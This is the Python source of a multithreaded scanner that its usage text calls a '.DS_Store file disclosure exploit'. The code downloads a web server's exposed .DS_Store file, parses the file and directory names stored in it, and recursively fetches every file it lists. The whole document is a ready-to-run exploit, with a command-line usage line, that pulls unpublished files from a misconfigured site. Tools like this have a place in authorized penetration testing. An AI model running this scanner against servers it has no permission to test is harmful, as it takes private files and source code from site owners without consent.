1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117
|
import sys try: from urllib.parse import urlparse except Exception as e: from urlparse import urlparse import os import queue import threading from io import BytesIO from ds_store import DSStore import requests
class Scanner(object): def __init__(self, start_url): self.queue = queue.Queue() self.queue.put(start_url) self.processed_url = set() self.lock = threading.Lock() self.working_thread = 0 self.dest_dir = os.path.abspath('.')
def is_valid_name(self, entry_name): if entry_name.find('..') >= 0 or \ entry_name.startswith('/') or \ entry_name.startswith('\\') or \ not os.path.abspath(entry_name).startswith(self.dest_dir): try: print('[ERROR] Invalid entry name: %s' % entry_name) except Exception as e: pass return False return True
def process(self): while True: try: url = self.queue.get(timeout=2.0) self.lock.acquire() self.working_thread += 1 self.lock.release() except Exception as e: if self.working_thread == 0: break else: continue try: if url in self.processed_url: continue else: self.processed_url.add(url) base_url = url.rstrip('.DS_Store') if not url.lower().startswith('http'): url = 'http://%s' % url schema, netloc, path, _, _, _ = urlparse(url, 'http') try: response = requests.get(url, allow_redirects=False) except Exception as e: self.lock.acquire() print('[ERROR] %s' % str(e)) self.lock.release() continue
if response.status_code == 200: folder_name = netloc.replace(':', '_') + '/'.join(path.split('/')[:-1]) if not os.path.exists(folder_name): os.makedirs(folder_name) with open(netloc.replace(':', '_') + path, 'wb') as outFile: self.lock.acquire() print('[%s] %s' % (response.status_code, url)) self.lock.release() outFile.write(response.content) if url.endswith('.DS_Store'): ds_store_file = BytesIO() ds_store_file.write(response.content) d = DSStore.open(ds_store_file)
dirs_files = set() for x in d._traverse(None): if self.is_valid_name(x.filename): dirs_files.add(x.filename) for name in dirs_files: if name != '.': self.queue.put(base_url + name) if len(name) <= 4 or name[-4] != '.': self.queue.put(base_url + name + '/.DS_Store') d.close() except Exception as e: self.lock.acquire() print('[ERROR] %s' % str(e)) self.lock.release() finally: self.working_thread -= 1
def scan(self): all_threads = [] for i in range(10): t = threading.Thread(target=self.process) all_threads.append(t) t.start()
if __name__ == '__main__': if len(sys.argv) == 1: print('A .DS_Store file disclosure exploit.') print('It parses .DS_Store and downloads file recursively.') print() print('Usage: python ds_store_exp.py https://www.example.com/.DS_Store') sys.exit(0) s = Scanner(sys.argv[1]) s.scan()
|